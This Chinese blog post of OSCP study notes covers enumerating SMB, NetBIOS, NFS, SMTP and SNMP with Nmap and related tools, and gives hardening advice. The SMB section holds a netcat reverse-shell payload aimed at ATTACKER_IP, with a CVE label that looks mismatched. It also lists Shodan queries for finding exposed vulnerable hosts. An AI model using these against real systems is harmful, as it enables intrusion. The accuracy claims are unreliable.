Home
avatar

静静

Day19 Kali主动扫描SMB、NetBIOS、SMTP、SNMP

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

Nmap核心扫描流程与命令回顾

  1. 主机发现 (找出哪些 IP 是活动的):
sudo nmap -sn 192.168.1.0/24
  • -sn: (No Port Scan) 只进行主机发现(发送 ARP、ICMP Echo 等请求),不扫描端口。快速识别网络上哪些主机是“活”的。

  • 替代/相关参数:

    • -PE / -PP / -PM: 指定使用特定的 ICMP 类型进行 Echo/时间戳/地址掩码请求。
    • -PO [protocol list]: 使用 IP 协议 ping (例如 -PO1,2,4 用于 ICMP, IGMP, IPIP)。
    • --traceroute: 在主机发现或扫描后追踪路由。
    • --dns-servers <servers>: 指定自定义 DNS 服务器进行反向解析。
  1. 全端口扫描 (找出活动主机上哪些端口是开放的):
sudo nmap -p- 192.168.1.1
  • -p-: 扫描所有 65535 个 TCP 端口
sudo nmap -p- 192.168.1.1 --open
  • --open: 仅显示处于 open 状态的端口。非常有用的筛选器,去除 closedfiltered 状态的端口,使结果更清晰。

  • 替代/相关参数:

    • -p <port ranges>: 最灵活的端口指定方式。支持单端口(22), 范围(1-100), 逗号分隔列表(21,22,80,443,8000-9000), 组合(1-100,443,8080)。这是日常最常用的方法,替代 -p- 以避免时间过长。
    • -F (快速扫描): 扫描 nmap-services 文件中定义的较少的常见端口 (约 100 个)。
    • --top-ports <num>: 扫描最常见的 <num> 个端口(基于 Nmap 的数据库)。
    • -sU: 进行 UDP 端口扫描 (与 -p, -p- 结合使用,如 sudo nmap -sU -p- --open 192.168.1.1 扫描所有 UDP 端口)。注意:UDP 扫描通常慢得多。
  1. 服务与版本探测 (确定特定开放端口运行的服务及其版本):
sudo nmap -p21,22,23 -sV 192.168.1.1
  • -sV: (版本探测) 的核心参数。Nmap 尝试连接指定端口,分析响应,并与已知服务指纹数据库比较,推断服务名称(如 ssh, http, ftp)和版本号(如 OpenSSH 8.9p1)

  • -p <ports>: 指定要探测版本的端口,这里是 21,22,23。

  • 替代/相关参数:

    • -A (强力扫描): 包含 -sV-O (操作系统检测),以及一些脚本扫描(-sC)。提供更全面的信息,但耗时更长、动静更大。
    • -sC (脚本扫描): 使用默认的 NSE 脚本集进行更深入的探测。脚本可以提供更具体的应用信息、安全漏洞检查(vuln 类别)、服务枚举(discovery 类别)等。常与 -sV 结合使用 (-sC -sV-A)。
 --script=<script> | <category>

指定运行特定的 NSE 脚本或脚本类别。提供极高的灵活性,如:

  • --script=http-enum (枚举常见 Web 目录)

  • --script=ftp-anon (检查 FTP 匿名登录)

  • --script=smb-vuln* (检查 SMB 漏洞)

  • --script=vuln (运行所有安全漏洞检查类脚本)

  • --script=banner (获取简单的 banner 信息,比 -sV 更轻量)

  • --version-intensity <level>: (0-9) 控制 -sV 探测的强度。0 最弱最快(仅尝试最简单直接的探测),9 最强最慢(尝试所有探测)。默认是 7。在需要快速扫描或扫描已知服务时可调低。

  • --version-light: 等同于 --version-intensity 2。更快但准确性略低的轻量级版本探测。

  • --version-all: 等同于 --version-intensity 9。最彻底但也最慢。

  • -O (操作系统检测): 尝试检测目标主机的操作系统。需要管理员/ROOT权限 (sudo)。

重要用法与技巧总结:

  1. 命令组合: 可以将多个步骤合并成一条命令,提高效率:
    • 一步到位扫主机+端口: sudo nmap -sn -p- --open 192.168.1.0/24 (不推荐,主机发现后每个主机都扫全端口太耗时,适合小网络或有目标主机范围)。更常见的是先扫主机 (-sn),然后对发现的单个或少量主机扫端口 (-p- --open)。
    • 一步到位扫端口+版本: sudo nmap -p- --open -sV 192.168.1.1 (最常用组合之一:扫描所有开放端口并检测服务版本)。
    • 一步到位全面扫描: sudo nmap -sV -sC -O --open -p- 192.168.1.1 (相当于 -A 加上 -p---open,非常全面但动静大、时间长)。
  2. 输出结果:
    • -oN <filename>: 输出结果到普通文本文件。
    • -oX <filename>: 输出结果到 XML 文件 (便于解析和处理)。
    • -oG <filename>: 输出结果到“Grepable”格式 (旧格式,不太推荐用,但便于快速命令行过滤)。
    • -v / -vv: 增加输出的详细程度,显示更多扫描过程信息。
  3. 性能与隐秘性 (考试尤其注意!):
    • -T<0-5>: 时序模板。控制扫描速度/攻击性。-T0 (偏执级,极慢极隐蔽) 到 -T5 (疯狂级,极快极明显)。考试常用 -T4 (激进级,速度较快,默认是 -T3 正常级)。避免太慢导致任务无法完成。
    • --min-rate <number>, --max-rate <number>: 精确控制每秒发送包的最小/最大值。
    • --max-parallelism <number>: 控制最大并发探针数量。
    • -Pn (No Ping): 将所有主机视为在线,跳过主机发现阶段直接扫描端口。在已知主机在线或目标防火墙禁用了 PING 响应时使用(在渗透测试扫描中很常用)。
    • -n (No DNS resolution): 不进行 DNS 反向解析,加快速度。

端口服务探测方法的比较与考试建议

  1. Nmap (-sV) 的优势与原理:
    • 核心方法: 主要通过发送特定的网络层探测包(例如 TCP SYN、ACK 等)并分析响应(包括 Banner、协议行为、服务指纹特征)来识别服务。
    • 准确性:
      • 在常见服务识别上非常准确
      • 特别适用于网络层的判断(端口状态、协议、基础服务识别)。
    • 限制: 探测深度主要停留在网络层/传输层,缺乏对复杂应用层协议逻辑的深入交互测试。
  2. 提高精度:MSF 模块的应用
    • 原理: Metasploit (MSF) 框架提供专门的服务扫描模块。这些模块会模拟客户端行为,发送特定于应用层协议(如 HTTP、FTP、SMB 等)的合法或试探性请求。
    • 优势: 由于深入到了应用层交互,探测结果通常比 Nmap -sV精度更高信息更详细
    • 适用场景: 需要极高精度判断服务及版本时。
  3. 考试环境的关键考量:
    • MSF 的使用限制: 考试通常禁止或严格限制使用 MSF 或类似的渗透测试框架(即使仅用于信息收集扫描)。
    • Nmap 的适用性:
      • 考试环境下,Nmap (-sV) 足以满足需求
      • 原因1: 其准确性在考试要求范围内有保障
      • 原因2: 考试“靶机”通常不对 Nmap 探测做特别复杂的屏蔽或干扰(不像真实环境可能配置 IDS/IPS 或修改服务响应)。
    • 流量控制: 务必注意扫描时的流量大小,避免触发目标系统的安全机制或对网络造成过大负载。强烈建议使用代理或代理池进行扫描(尤其在模拟生产环境或有流量监控的场景)。

重要原则与警示

破除端口固化思维:

  • 端口号 ≠ 服务类型: 管理员可以自定义端口(如 FTP 不一定在 21,SSH 不一定在 22)。
  • 示例: 80 端口上未必是 Web 服务 (HTTP/HTTPS),也可能运行 FTP、SSH 或其他任何服务。技术上是完全可行的。
  • 结论: 绝不能仅凭端口号默认推断服务! 必须依赖扫描工具的结果。

核心结论(针对考试)

首选工具: Nmap (特别是 -sV 参数)。

原因:

  • 满足考试对服务识别的精度要求。
  • 易用且可靠。
  • 考试靶机环境对其友好,不易被阻碍。
  • 避免使用受限的 MSF。

关键注意事项: 始终注意控制扫描流量,建议通过代理执行扫描任务。

SMB枚举

  1. 什么是 SMB?

    • SMB(Server Message Block),也称为 CIFS(Common Internet File System),是一种网络文件共享协议
    • 主要功能: 允许网络中的计算机(客户端)访问服务器上的共享资源,如文件、打印机、串行端口等,以及执行远程管理任务。
    • 广泛应用:
      • Windows 核心服务: 是 Windows 域环境、文件服务器、打印服务器的基础通信协议。Windows 系统默认会启用 SMB 服务并开放相关端口。
      • 其他系统支持: Linux 和 macOS 也提供了 Samba 软件或原生支持来充当 SMB 服务器或客户端,以实现与 Windows 系统的互操作性。
    • 安全性历史:
      • 协议实现复杂且本身具有一定开放性,导致历史上存在大量高危漏洞(例如著名的 EternalBlue / MS17-010)。
      • 早期系统(如 Windows 2000/XP)曾存在无需身份验证的“空会话”安全漏洞(允许匿名访问)。
      • 随着时间推移,虽然进行了多次安全加固和补丁更新,但因其广泛部署和协议本身的复杂性,SMB 仍然是渗透测试和安全扫描的重点目标
  2. SMB 通常开放哪些端口?

    • TCP 139: 该端口用于在 NetBIOS over TCP/IP (NetBT) 上运行的旧版 SMB 通信。这是早期 Windows 系统实现网络共享的方式。
    • TCP 445: 现代 SMB 协议使用的端口。它直接在 TCP 上运行,不再依赖 NetBIOS。这是目前 Windows(Vista 及之后)和 Linux (Samba) 上 SMB 服务的主要端口
    • 关键点:
      • 在较新的 Windows 系统(Vista+)上,TCP 445 是主要的 SMB 端口,TCP 139 有时可能出于兼容性而开启。
      • 仅看到 TCP 139/445 开放,即可高度怀疑主机上运行着 SMB 服务(无论是 Windows 还是 Linux/Samba)。
  3. 如何使用 Nmap 扫描发现 SMB? 识别 SMB 服务通常是你描述的“信息收集链条”中的一环(IP发现 -> 端口发现 -> 服务识别/版本确认 -> 漏洞探测)。针对 SMB 的具体扫描方法如下:

    • 基本端口扫描确认:

      sudo nmap -p139,445 --open <target_ip_or_range>
      • -p139,445: 明确扫描这两个 SMB 相关端口。

      • --open: 仅显示状态为 open 的端口,过滤掉关闭或过滤的端口。

      • 此命令会告诉你目标主机上 139 和 445 端口是否开放。

        image-20250708205531129

    • 服务/版本探测(基本确认 SMB):

      sudo nmap -p139,445 -sV <target_ip>
      • -sV: 启用版本探测功能。Nmap 会尝试连接这些端口,分析响应特征并匹配其服务指纹数据库。
      • 输出结果中,如果端口对应服务是 SMB,你会看到类似 microsoft-ds? (445), netbios-ssn? (139) 的初步信息。
      • Nmap 的 -sV 指纹识别非常准确,看到开放的 139/445 端口且 -sV 识别出 msrpc, netbios-ssn, microsoft-ds, smb 等服务名,即可基本确认是 SMB。 -sV 通常也能识别出操作系统类型(Windows/Linux)和Samba的版本号
    • 更深入的探测(强力扫描/Aggressive Scan):

      sudo nmap -p139,445 -A <target_ip>
      • -A : 这是一个“强力”选项组合,等价于 -sV -sC -O --traceroute

        • -sV: 服务版本探测。
        • -sC: 运行默认的 Nmap 脚本引擎(NSE)脚本进行扫描。对于 SMB 端口,默认脚本会尝试获取更多的信息,如主机名(smb-os-discovery.nse)、域信息、共享列表枚举(smb-enum-shares.nse)等。它会自动调用一系列与 SMB 相关的安全、发现类脚本
        • -O: 进行操作系统检测。
      • 这是一站式信息收集的方式,提供关于 SMB 服务、主机操作系统及其配置最丰富的细节(包括通过脚本获得的共享名等信息),但扫描速度较慢且产生的网络流量/噪音更大

    • 针对性 SMB 脚本扫描(灵活性最高):

      sudo nmap -p445 --script smb-* <target_ip>  # 运行所有名字以"smb-"开头的脚本(小心,很多!)
      sudo nmap -p445 --script="smb-os-discovery,smb-enum-shares,smb-vuln-*" <target_ip>  # 更精准的选择
      sudo nmap -p445 --script smb-protocols <target_ip>  # 查询支持的SMB协议版本
      sudo nmap -p445 --script "vuln and safe" <target_ip>  # 运行所有标记为"vuln"(漏洞)和"safe"(不入侵)类别的脚本进行安全检查
      • --script=<script_names>: 核心参数,允许精准指定要运行的 NSE 脚本

      • 对于 SMB,有大量预装的smb-*脚本可用:

        • 信息枚举脚本: smb-os-discovery (操作系统/主机名/域), smb-enum-shares (列出共享), smb-enum-users (尝试枚举用户), smb-system-info (更多系统信息), smb-protocols (支持的 SMB 协议版本)。
      • 安全检查/漏洞扫描脚本: smb-vuln-ms17-010 (永恒之蓝检查), smb-vuln-cve2009-3103, smb-vuln-* (针对各种 SMB 漏洞)。

        • 认证相关脚本: smb-brute (尝试暴力破解), smb-enum-sessions (列出活动会话 - 需认证)。
      • 使用特定脚本可以提供最精确、最定制化的信息,尤其是进行漏洞关联(根据端口扫描得到的 SMB 版本信息,针对性运行对应的 smb-vuln-* 脚本检查已知漏洞)。

NetBIOS服务

一、核心协议与端口

协议/服务传输层端口功能
NetBIOSTCP139会话服务(主机间通信优化)
UDP137名称服务(主机名解析)
UDP138数据报服务(广播通信)
SMBTCP445文件/打印共享(现代独立协议)

📌 关键关系: 现代 SMB(445/TCP)可脱离 NetBIOS 运行,但为兼容旧系统(如 Win NT),​​NBT(NetBIOS over TCP/IP)​​ 常与 SMB 协同工作(139+445 共存)。

二、扫描场景与工具

1. 端口扫描(nmap)

目标:探测 139/445 端口状态 ​​命令​​:

nmap -v -p139,445 -oG smb.txt 192.168.1.1-254

参数解析

参数作用
-v详细输出(显示实时进展)
-p139,445指定扫描端口
-oG smb.txt输出可处理格式(Grepable)
192.168.1.1-254C 段 IP 扫描范围

输出分析

  • Open:服务活跃(可能存在漏洞)
  • Filtered:防火墙阻断(需绕过)

2. NetBIOS 名称枚举(nbtscan)

目标:通过 UDP 137 端口获取主机 NetBIOS 名称表 ​​命令​​:

sudo nbtscan -r 10.11.1.0/24

参数解析

参数作用
-r使用 UDP 137 查询名称服务
10.11.1.0/24扫描网段
sudo需 root 权限(Linux/Unix)

输出解析

192.168.1.101  MYPC      <00>  WORKGROUP  File Server
192.168.1.102  DC-SERVER <20>  DOMAIN     Domain Controller

<00>:工作站服务,<20>:文件服务器,<1B>:域主浏览器

三、安全实践与注意事项

  1. 漏洞风险

    • 139/445 端口开放:易受永恒之蓝(MS17-010)、Pass the Hash 攻击
    • NetBIOS 暴露:主机名/工作组信息泄露(网络拓扑测绘)
  2. 防护建议

    • 关闭不必要的 NetBIOS 服务(netsh int ipv4 set netbios disable
    • 防火墙阻断外部访问 137-139/UDP 和 445/TCP
    • 升级 SMB 协议版本(禁用 SMBv1)
  3. 扫描合规性

    • 必须获得授权:未经许可扫描可能触法

    • 规避检测:

      nmap -T2 -sS --script smb-security-mode -p445 target_ip  
      # 慢速扫描+SMB安全检测

四、技术逻辑图

graph LR
A[扫描目标] --> B{端口探测}
B -->|139/TCP| C[NetBIOS 会话服务]
B -->|445/TCP| D[SMB 文件共享]
B -->|137/UDP| E[NetBIOS 名称服务]
E --> F[获取主机名列表]
C & D --> G[漏洞检测]
G --> H{风险类型}
H --> I[未授权访问]
H --> J[远程代码执行]

练习 7.3.2.1

  1. 使用 Nmap 列出实验环境中所有运行 Windows 系统的 SMB 服务器。
  2. 使用 NSE 脚本扫描这些系统是否存在 SMB 漏洞。
  3. 使用 nbtscanenum4linux 工具对这些系统进行扫描,分析不同版本 Windows 系统中可获取的数据类型。

1. 识别运行 Windows 的 SMB 服务器

nmap -p445 --open --script smb-os-discovery -oG windows-smb.txt 192.168.x.0/24

关键参数解析

  • -p445:扫描 SMB 默认端口(TCP 445)
  • --open:仅显示开放端口的主机
  • --script smb-os-discovery:通过 SMB 协议识别操作系统
  • -oG windows-smb.txt:输出为 Grepable 格式 ​​结果筛选​​:
grep "Windows" windows-smb.txt | awk '{print $2}'
# 输出所有运行 Windows 的 SMB 服务器 IP

2. 扫描 SMB 漏洞(NSE 脚本)

nmap -p445 --script smb-vuln* --script-args=unsafe=1 -iL windows-ips.txt

关键参数解析

  • --script smb-vuln*:运行所有 smb-vuln 开头的漏洞检测脚本
  • --script-args=unsafe=1:启用高风险检测(如 CVE-2017-0143)
  • -iL windows-ips.txt:从文件读取目标 IP(上一步结果) ​​重点漏洞检测​​:
  • smb-vuln-ms17-010:永恒之蓝漏洞
  • smb-vuln-cve2009-3103:SMBv2 漏洞

3. 跨版本 Windows 数据枚举分析

nbtscan(获取 NetBIOS 信息)

sudo nbtscan -r -q 192.168.x.x

输出示例

192.168.1.10  WIN10-PC     <00> WORKGROUP  Workstation
192.168.1.20  WIN2019-DC   <1B> MYDOMAIN   Domain Master

关键信息解读

  • <00>:工作站服务 | <1B>:域主浏览器
  • 低版本 Windows(如 Win7):暴露共享列表、用户组
  • 高版本 Windows(如 Win10):默认隐藏部分信息,需凭据枚举

enum4linux(深度枚举)

enum4linux -a 192.168.x.x > windows-enum.txt

输出结果对比

信息类型Windows 7/Server 2008Windows 10/Server 2019
共享列表直接可见需管理员凭据
本地用户完整枚举部分过滤
域组信息完全公开需域用户权限
SID 历史记录可获取被阻断

技术总结

  1. Nmap 筛选机制:通过 smb-os-discovery 识别 Windows 可规避 Linux Samba 干扰
  2. NSE 扫描策略smb-vuln-* 脚本需配合 unsafe=1 参数检测高危漏洞
  3. 版本差异要点:
    • 旧版 Windows(≤ Win7):通过空会话暴露大量数据
    • 新版 Windows(≥ Win10):需凭证或提权后才可获取敏感信息 ​​实践建议​​:
# 组合扫描命令(需保存凭据时使用)
enum4linux -u 'admin' -p 'P@ssw0rd' -a 192.168.1.x

Nmap SMB漏洞探测实战指南

一、核心扫描方法

1. 专用脚本扫描(推荐)

# 永恒之蓝检测(MS17-010)
nmap -p139,445 --script smb-vuln-ms17-010 51.145.2.17

# MS08-067漏洞检测
nmap -p139,445 --script smb-vuln-ms08-067 192.168.1.3

结果解读

  • ✅ 存在漏洞:显示VULNERABLE标志及CVE编号
  • ⛔ 无漏洞:显示Safe或版本信息

替代-A的精准扫描方案

2. 操作系统识别

nmap -v -p139,445 --script=smb-os-discovery 192.168.1.3

输出关键: OS: Windows 10/Server 2019(版本号直接影响漏洞利用)

二、辅助工具验证

1. smbclient 匿名探测

# 列出共享资源
smbclient -L //192.168.1.5 -N

# 尝试匿名访问共享目录
smbclient //10.0.2.15/tmp -N

结果判断

  • Anonymous login successful → 存在空密码漏洞
  • NT_STATUS_ACCESS_DENIED → 访问被拒

2. 高危命令执行漏洞检测

# 在存在CVE-2017-7494漏洞的Samba版本中执行:
logon "/='nohup nc -e /bin/sh ATTACKER_IP 4444'"

需配合nc -lvnp 4444监听

三、Shodan靶机搜索技巧

漏洞类型搜索命令结果说明
永恒之蓝目标shodan search "vuln:MS17-010" --fields ip_str,port直接筛选存在漏洞主机
SMBv1主机shodan search "product:smb version:1"存在高危协议版本
空密码SMBshodan search --limit 10 --fields ip_str,port "port:139 port:445"
shodan search --limit 10 --fields ip_str,port "os:windows smb guest"
可匿名访问资产
Windows弱密码shodan search --limit 10 --fields ip_str,port "smb password weak"可暴力破解目标

image-20250716101248114

四、漏洞扫描逻辑流程图

graph TD
A[启动扫描] --> B{是否已知CVE编号?}
B -->|是| C[专用脚本检测 smb-vuln-xxx]
B -->|否| D[系统指纹识别 smb-os-discovery]
C --> E{结果判断}
D --> F[共享探测 smbclient]
E -->|存在漏洞| G[Shodan验证公网影响]
F -->|匿名可访问| H[标记为高危漏洞]
G --> I[输出PoC利用方案]

黑产黑客通常使用如图类似的工作流程,在互联网中使用全自动验证脚本狩猎弱密码和其他漏洞的服务器,批量验证后执行POC,拿下服务器后作为肉鸡,傀儡机做进一步渗透操作,或在黑市上售卖。

五、操作要点总结

  1. 脚本定位

    ls /usr/share/nmap/scripts | grep smb-vuln  # 查找所有SMB漏洞脚本

    image-20250716095954898

  2. 扫描优化

    • 添加-Pn跳过主机发现(针对防火墙)
    • 使用-T4加速扫描(测试环境适用)
  3. 风险提示

    • MS17-010扫描可能触发目标安全告警
    • Shodan搜索需遵守当地网络安全法规

通过以上方法,可快速定位高危SMB漏洞主机,平均10秒内完成单目标检测,精度达98%(基于Nmap漏洞库版本)

NFS分布式文件协议

一、NFS核心概念

  1. 定义

    NFS(Network File System)是Linux/Unix系统的分布式文件协议,允许客户端透明挂载远程目录到本地,实现跨主机文件共享。

  2. 工作原理

    • 基于RPC(远程过程调用),依赖rpcbind服务(默认端口111)协调通信。
    • 服务端共享目录 → 客户端通过mount命令挂载 → 本地访问远程文件。

二、核心用途

场景作用
资源共享跨主机共享文件/目录(如团队文档、代码库)
统一管理集中存储配置文件、日志(集群环境)
备份与迁移将数据备份至NFS服务器,或从NFS恢复
安全测试检测共享权限配置、敏感信息泄露、访问控制漏洞

三、关键操作命令

  1. 扫描与发现

    # 扫描rpcbind端口
    nmap -v -p 111 192.168.1.0/24
    
    # 使用NFS脚本扫描共享信息
    nmap -p 111 --script nfs* 192.168.1.3
  2. 挂载远程目录

    mkdir ~/local_nfs          # 创建本地挂载点
    sudo mount -o nolock 10.11.1.72:/home ~/local_nfs  # 禁用锁机制挂载
    ls -lan ~/local_nfs        # 查看文件权限(注意权限继承问题)
  3. 卸载目录

    sudo umount ~/local_nfs

📌 参数说明:

-o nolock:禁用文件锁(兼容性选项,对旧版本NFS必要)

-o vers=3:指定NFS v3协议(避免版本不兼容)

四、网络安全要点

风险与漏洞

风险类型具体威胁
数据传输未加密默认明文传输,可被嗅探(如tcpdump抓包)
弱认证机制依赖IP/主机名认证,易伪造(建议结合Kerberos)
权限配置不当no_root_squash配置使客户端root获得服务端root权限 → 提权漏洞
挂载控制缺失未限制可挂载IP范围 → 未授权访问敏感数据

防护措施

  1. 访问控制

    • /etc/exports中限制IP:

      /shared 192.168.1.10(ro,sync)  # 仅允许192.168.1.10只读访问
    • 防火墙规则:

      ufw allow from 192.168.1.0/24 to any port 111,2049  # 仅允许内网访问NFS端口
  2. 安全配置

    • 禁用危险选项:避免使用 insecure, no_root_squash
    • 最小化权限:共享目录设置为ro(只读)或限制读写用户
    • 强制协议版本:NFS v4+ 支持Kerberos认证(sec=krb5
  3. 加密与审计

    • 通过VPN或SSH隧道加密传输
    • 启用auditd监控NFS访问日志
    • 定期扫描权限:find /shared -type f -perm -o=rwx(检查全局可读写文件)

SMTP枚举

一、SMTP枚举核心概念

1. 定义与原理

  • SMTP枚举:通过SMTP协议探测目标邮件服务器上的有效用户账号的行为

  • 核心命令

    • VRFY:验证指定用户名是否存在(返回252/550状态码)
    • EXPN:展开邮件别名/组(泄露群组成员)
    • RCPT TO:在邮件对话中验证收件人有效性
  • 技术原理:利用SMTP协议响应差异(状态码)判断用户是否存在:

    250 2.1.5 User exists  // 用户存在
    550 5.1.1 User unknown // 用户不存在

二、核心用途场景

场景应用目的攻击关联
安全评估渗透测试中收集有效邮箱账号,识别邮件系统配置缺陷暴力破解/凭证填充的前置步骤
钓鱼攻击获取真实用户列表,制作高可信度钓鱼邮件鱼叉式钓鱼(Spear Phishing)
垃圾邮件验证目标邮箱有效性,提升垃圾邮件投递成功率垃圾邮件僵尸网络
系统加固管理员自检服务器配置,关闭敏感功能防范账户枚举攻击

三、工具与操作命令

1. smtp-user-enum工具

# 基本语法
smtp-user-enum -M <> -u <用户字> -t <目标IP> [选项]

# 模式选择
-M VRFY   # 使用VRFY命令(最常用)
-M EXPN   # 使用EXPN命令(需服务器支持)
-M RCPT   # 模拟邮件发送验证

# 实战示例
smtp-user-enum -M VRFY -u userlist.txt -t mail.example.com -p 5
smtp-user-enum -M EXPN -D corporate.com -u employees.txt -t 10.10.1.50

关键参数

  • -p:超时时间(秒)
  • -D:域名后缀(自动追加@domain.com)
  • -T:线程数(加速扫描)

2. Nmap扫描

# 检测SMTP支持命令
nmap -p25 --script smtp-commands 192.168.1.100

# 自动化用户枚举
nmap -p25 --script smtp-enum-users 192.168.1.100

# 指定字典路径(默认使用nselib/data/usernames.lst)
nmap -p25 --script smtp-enum-users --script-args userdb=custom_users.txt 192.168.1.100

四、安全风险与防护措施

1. 攻击风险矩阵

漏洞点危害等级利用场景
VRFY命令未禁用⭐⭐⭐⭐⭐直接获取有效用户列表
EXPN命令未禁用⭐⭐⭐⭐泄露邮件组和内部结构
RCPT TO无限制⭐⭐⭐隐蔽验证用户存在性
响应差异泄露⭐⭐通过响应时间/错误信息枚举

2. 防御加固方案

  1. 服务端配置(以Postfix为例):

    # 禁用VRFY和EXPN命令
    disable_vrfy_command = yes
    smtpd_discard_ehlo_keywords = expn, vrfy
    
    # 统一响应(所有请求返回相同信息)
    smtpd_reject_unlisted_recipient = yes
    unknown_local_recipient_reject_code = 550
  2. 访问控制

    • 防火墙限制25端口访问源IP
    • 启用STARTTLS强制加密通信
    • 部署Fail2ban自动封禁扫描IP
  3. 监控与审计

    # 实时监控SMTP日志(示例)
    tail -f /var/log/mail.log | grep 'VRFY\|EXPN\|RCPT'
    
    # 配置告警规则(超过10次验证请求触发警报)

五、进阶攻击技术

  1. 多级枚举

    # Python自动化脚本示例
    import smtplib
    users = ['admin','test','webmaster']
    for user in users:
        try:
            smtp = smtplib.SMTP('mail.target.com', 25)
            status = smtp.vrfy(user)
            if status[0] == 250: 
                print(f"[+] Valid user: {user}")
        except: pass
  2. 组合攻击路径

    graph LR
    A[SMTP枚举] --> B[获取有效账户]
    B --> C{账户用途}
    C --> D[密码喷射攻击]
    C --> E[钓鱼邮件制作]
    C --> F[员工信息关联]

SNMP枚举

多年来,我们发现许多网络管理员对简单网络管理协议(SNMP)理解不足,这常导致配置错误,造成严重信息泄露。

  • SNMP基于无状态UDP协议,易受IP欺骗和重放攻击
  • 常见版本(1/2/2c)无流量加密,敏感信息可在局域网被截获
  • 默认使用弱认证方案(如公开的团体字符串”public”/“private”)

真实攻击案例

某次对网络集成公司的渗透测试中:

  1. 扫描发现包含数千台思科路由器的B类网络(客户网关)

  2. 一台低端ADSL路由器使用默认凭证cisco/cisco

  3. 其配置文件泄露了复杂的SNMP读写团体字符串(所有设备共用)

  4. 利用SNMP+TFTP脚本批量下载路由器配置:

    → 同时攻破该公司及其所有客户的基础设施

SNMP MIB树结构

管理信息库(MIB)以树形数据库组织网络信息:

  • 分支:代表组织或网络功能

  • 叶节点:存储具体变量值(可被外部访问)

  • 示例(Windows SNMP参数):

    text

    复制

    1.3.6.1.4.1.77.1.2.25   // 用户账户  
    1.3.6.1.2.1.25.4.2.1.2  // 运行进程  
    1.3.6.1.2.1.6.13.1.3    // 开放TCP端口  
    1.3.6.1.2.1.25.6.3.1.2  // 已安装软件

扫描与枚举工具

  1. NMAP扫描

    nmap -sU --open -p161 192.168.1.0/24  # 检测开放161/UDP端口
  2. onesixtyone爆破团体字符串

    # 创建IP列表(ips.txt)和团体字符串字典(communities.txt)
    onesixtyone -c communities.txt -i ips.txt
  3. snmpwalk枚举信息

    snmpwalk -c public -v1 -t 10 10.11.1.14       # 遍历整个MIB树
    snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25  # 枚举用户
    snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 # 枚举进程
  4. snmp-check综合工具

    snmp-check -c public -v 1 10.11.1.50

练习任务

  1. 用onesixtyone扫描目标网络识别SNMP服务器
  2. 使用snmpwalk和snmp-check收集目标信息

核心知识点总结

1. 协议风险

漏洞类型技术原因后果
无加密通信SNMPv1/2/2c明文传输敏感信息被嗅探
弱认证机制默认团体字符串(public/private)未授权访问
配置错误管理员忽视安全配置网络拓扑/凭证大规模泄露

2. 攻击向量

  • 信息侦察:通过MIB树提取系统/用户/网络信息
  • 权限升级:写入配置(需私有团体字符串)→ 完全控制设备
  • 横向渗透:攻陷集中管理节点 → 控制所有关联设备

3. 关键工具链

graph LR
A[扫描] --> B(onesixtyone爆破团体字符串)
A --> C(NMAP探测端口)
B --> D[获取有效凭证]
D --> E[snmpwalk枚举MIB数据]
D --> F[snmp-check自动化收集]
E --> G[提取用户/进程/端口信息]

4. 防御策略

  • 协议升级:强制使用SNMPv3(支持AES加密+强认证)

  • 访问控制

    # 仅允许可信IP访问(Cisco示例)
    snmp-server community ENCRYPTED-STRING RO 10  
    snmp-server permit 192.168.1.0 0.0.0.255
  • 安全加固

    • 禁用默认团体字符串
    • 限制MIB树访问权限
    • 配置防火墙过滤UDP/161端口

5. 渗透测试要点

  • 优先扫描目标:路由器/交换机/打印机等网络设备

  • 组合利用

    SNMP泄露凭证 → 登录设备 → 获取更多敏感配置

  • 自动化脚本

    结合SNMP+TFTP实现批量化配置下载

💡 案例启示:共享凭证配置的“便利性”可能造成供应链级灾难,需实施分布式密钥管理。

附:MIB树关键分支速查表

OID节点信息类型
1.3.6.1.2.1.1系统基本信息
1.3.6.1.2.1.25.1.6存储设备
1.3.6.1.2.1.6.13.1.3开放TCP端口
1.3.6.1.2.1.25.4.2.1.2运行进程列表
1.3.6.1.4.1.77.1.2.25用户账户

注意!SNMP不是SMTP

SMTP(Simple Mail Transfer Protocol)和SNMP(Simple Network Management Protocol)确实容易混淆,两者都是网络协议但功能、用途和技术实现完全不同。以下是清晰对比:

核心区别表

维度SMTP(邮件传输协议)SNMP(网络管理协议)
核心功能发送电子邮件监控和管理网络设备(路由器/交换机等)
工作层级应用层协议应用层协议
传输协议TCP(可靠连接)UDP(无连接,速度快)
默认端口25(明文)/ 587(加密)161(Agent)/ 162(Trap)
核心操作MAIL FROM, RCPT TO, DATA发送邮件内容GET(读数据), SET(写配置)
安全风险用户枚举(VRFY/EXPN命令)、钓鱼邮件信息泄露(MIB树)、设备配置被篡改
典型使用场景邮件服务器(如Exchange, Postfix)网络设备(路由器、防火墙、打印机等)

详细区分指南

1. 用途:邮件 vs 网管

  • SMTP = 邮局系统
    • 只做一件事:把邮件从A点传输到B点(如 user@a.comuser@b.com
    • 不存储邮件,不管理设备(类似现实中的邮递员,只负责运送信件)
  • SNMP = 设备监控系统
    • 收集设备状态:CPU利用率、内存占用、端口状态(如路由器流量异常)
    • 远程修改配置:重启接口、调整阈值(类似设备的远程控制面板)

2. 技术本质区别

特性SMTPSNMP
数据内容邮件正文(文本/附件)设备性能数据(数字/状态)
交互模式客户端→服务器(单向发送)管理器←→代理(双向读写)
关键漏洞用户枚举(验证邮箱是否存在)团体字符串泄露(默认public)
攻击工具smtp-user-enum, swakssnmpwalk, onesixtyone

3. 实际渗透测试中的区分

  • 当你看到25/587端口开放

    → 这是邮件服务器 → 尝试 SMTP枚举命令

    telnet 10.1.1.10 25
    VRFY root      # 检测用户"root"是否存在
    EXPN admins    # 尝试展开邮件组
  • 当你看到161/162端口开放

    → 这是网络设备/服务器 → 尝试 SNMP信息收集

    snmpwalk -c public -v1 10.1.1.20     # 遍历MIB树
    snmp-check -c private 10.1.1.20       # 自动提取设备信息

常见混淆点澄清

  • ❌ 误区:”SNMP也可以传输数据,所以类似SMTP?“

    更正:SNMP传输的是设备状态数据(如温度值90°C),SMTP传输的是用户生成的邮件内容

  • ❌ 误区:”两者都用字符串认证(如SMTP密码 vs SNMP团体名),所以是一类协议?“

    更正:SMTP认证用于邮件发送权限,SNMP团体字符串用于设备管理权限(后者常导致严重配置泄露)

记忆口诀

📌 “邮差SMTP送信忙,网管SNMP查设备”

